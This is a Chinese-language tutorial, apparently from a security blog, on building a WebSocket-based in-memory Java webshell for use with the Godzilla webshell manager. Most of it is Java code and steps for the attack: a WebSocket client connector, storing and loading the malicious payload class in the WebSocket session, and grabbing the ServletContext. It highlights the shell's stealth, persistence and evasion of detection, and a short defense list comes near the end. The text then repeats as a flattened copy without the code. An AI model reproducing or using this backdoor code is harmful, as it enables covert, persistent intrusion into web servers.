WebSocket webshell 多功能shell实现
字数 1161 2025-08-12 11:34:00

WebSocket Webshell 实现技术详解

1. 概述

WebSocket webshell是一种新型的webshell技术,相比传统HTTP webshell具有以下特点:

  • 使用WebSocket协议进行通信
  • 通信过程更加隐蔽
  • 可以绕过部分安全检测
  • 不影响原有HTTP服务

2. 技术准备

2.1 所需工具

  • 哥斯拉v4.0.1版(或其他webshell管理工具如冰蝎、蚁剑)
  • org.java-websocket库(用于WebSocket通信)

2.2 基础概念

  • WebSocket协议:全双工通信协议,建立在TCP之上
  • 内存马:驻留在内存中的webshell,不依赖文件

3. WebSocket客户端实现

3.1 基础连接器代码

public class Websocketclient extends WebSocketClient {
    private int sendFlag = 0;
    private byte[] result = null;
    
    public Websocketclient(URI url, Draft_6455 draft_6455, Map<String, String> x, int i) {
        super(url,draft_6455,x,i);
    }
    
    // 发送字符串消息
    public byte[] sendRequestData(byte[] requestData){
        synchronized(this){
            sendFlag = 1;
            this.send(requestData);
            while(sendFlag != 0){
                try {
                    Thread.sleep(1);
                } catch (InterruptedException ignored) { }
            }
            return result;
        }
    }
    
    @Override
    public void onOpen(ServerHandshake serverHandshake) { }
    
    @Override
    public void onMessage(String s) {
        result = s.getBytes();
        sendFlag = 0;
    }
    
    @Override
    public void onMessage(ByteBuffer bytes) {
        result = bytes.array();
        sendFlag = 0;
    }
    
    @Override
    public void onClose(int i, String s, boolean b) {
        result = null;
        sendFlag = 0;
    }
    
    @Override
    public void onError(Exception e) {
        result = null;
        sendFlag = 0;
    }
}

3.2 关键点说明

  1. 使用org.java_websocket库实现WebSocket客户端
  2. 需要处理线程同步问题,确保消息发送完成
  3. 使用sendFlagsleep实现简单的线程等待机制

4. 哥斯拉连接过程分析

4.1 传统HTTP连接过程

  1. 初始化阶段:将恶意类存储在session中
    if (session.getAttribute("payload")==null){
        session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
    }
    
  2. 使用阶段:调用session中存储的恶意类方法
    Object f=((Class)session.getAttribute("payload")).newInstance();
    f.equals(arrOut);
    f.equals(pageContext);
    

4.2 WebSocket适配方案

  1. 使用session.getUserProperties()替代HTTP session
    // 存储
    session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data));
    
    // 读取
    Object f=((Class)session.getUserProperties().get("payload")).newInstance();
    

5. 初始化Payload实现

5.1 WebSocket特有修改

  1. 参数传递方式调整:
    if (this.supportClass(obj, "%s.websocket.Session")) {
        this.session = obj;
    }
    
  2. 获取session属性方式:
    public Object getSessionUserProperties() {
        if (this.session != null) {
            return this.getSessionMethodAndInvoke(this.session, "getUserProperties");
        }
        return null;
    }
    

5.2 ServletContext获取方案

方案一:通过StandardContext获取

private void handlePayloadContext() {
    try {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
        // ...获取StandardContext...
        StandardContext obj = (StandardContext) standardroot.getContext();
        // 获取servlet相关对象
    } catch (Exception e) { }
}

方案二:初始化时存储Servlet对象

public String toString() {
    // 获取servlet对象
    configEndpoint.getUserProperties().put("servletContext",this.servletContext);
    configEndpoint.getUserProperties().put("httpSession",this.httpSession);
    configEndpoint.getUserProperties().put("servletRequest",this.servletRequest);
    // 注册Endpoint
    return "init ok";
}

使用时获取:

private void handlePayloadContext() {
    try {
        Session session = (Session) this.session;
        this.servletRequest = session.getUserProperties().get("servletRequest");
        this.servletContext = session.getUserProperties().get("servletContext");
        this.httpSession = session.getUserProperties().get("httpSession");
    } catch (Exception e) { }
}

6. 完整连接流程

  1. 初始化WebSocket马

    • 注入内存马
    • 注册WebSocket端点
  2. 连接WebSocket马

    • 建立WebSocket连接
    • 初始化恶意类
  3. 执行操作

    • 通过WebSocket通道执行命令
    • 获取执行结果

7. 技术优势

  1. 隐蔽性:通信过程只有初始HTTP升级包,后续均为WebSocket流量
  2. 兼容性:不影响原有HTTP服务
  3. 持久性:内存马形式驻留,不依赖文件
  4. 多功能:支持插件等高级功能

8. 防御建议

  1. 监控WebSocket连接建立过程
  2. 检查WebSocket端点注册行为
  3. 监控内存中可疑的类加载
  4. 限制WebSocket协议的使用范围
  5. 加强JVM安全配置

9. 总结

WebSocket webshell技术通过利用WebSocket协议实现了更加隐蔽的后门通信,其关键技术点包括:

  • WebSocket客户端的实现与线程同步
  • Session存储机制的替代方案
  • ServletContext的获取与传递
  • 与传统webshell工具的兼容适配

这种技术代表了webshell发展的新方向,对防御方提出了新的挑战。

WebSocket Webshell 实现技术详解 1. 概述 WebSocket webshell是一种新型的webshell技术,相比传统HTTP webshell具有以下特点: 使用WebSocket协议进行通信 通信过程更加隐蔽 可以绕过部分安全检测 不影响原有HTTP服务 2. 技术准备 2.1 所需工具 哥斯拉v4.0.1版(或其他webshell管理工具如冰蝎、蚁剑) org.java-websocket库(用于WebSocket通信) 2.2 基础概念 WebSocket协议:全双工通信协议,建立在TCP之上 内存马:驻留在内存中的webshell,不依赖文件 3. WebSocket客户端实现 3.1 基础连接器代码 3.2 关键点说明 使用 org.java_websocket 库实现WebSocket客户端 需要处理线程同步问题,确保消息发送完成 使用 sendFlag 和 sleep 实现简单的线程等待机制 4. 哥斯拉连接过程分析 4.1 传统HTTP连接过程 初始化阶段 :将恶意类存储在session中 使用阶段 :调用session中存储的恶意类方法 4.2 WebSocket适配方案 使用 session.getUserProperties() 替代HTTP session 5. 初始化Payload实现 5.1 WebSocket特有修改 参数传递方式调整: 获取session属性方式: 5.2 ServletContext获取方案 方案一:通过StandardContext获取 方案二:初始化时存储Servlet对象 使用时获取: 6. 完整连接流程 初始化WebSocket马 注入内存马 注册WebSocket端点 连接WebSocket马 建立WebSocket连接 初始化恶意类 执行操作 通过WebSocket通道执行命令 获取执行结果 7. 技术优势 隐蔽性 :通信过程只有初始HTTP升级包,后续均为WebSocket流量 兼容性 :不影响原有HTTP服务 持久性 :内存马形式驻留,不依赖文件 多功能 :支持插件等高级功能 8. 防御建议 监控WebSocket连接建立过程 检查WebSocket端点注册行为 监控内存中可疑的类加载 限制WebSocket协议的使用范围 加强JVM安全配置 9. 总结 WebSocket webshell技术通过利用WebSocket协议实现了更加隐蔽的后门通信,其关键技术点包括: WebSocket客户端的实现与线程同步 Session存储机制的替代方案 ServletContext的获取与传递 与传统webshell工具的兼容适配 这种技术代表了webshell发展的新方向,对防御方提出了新的挑战。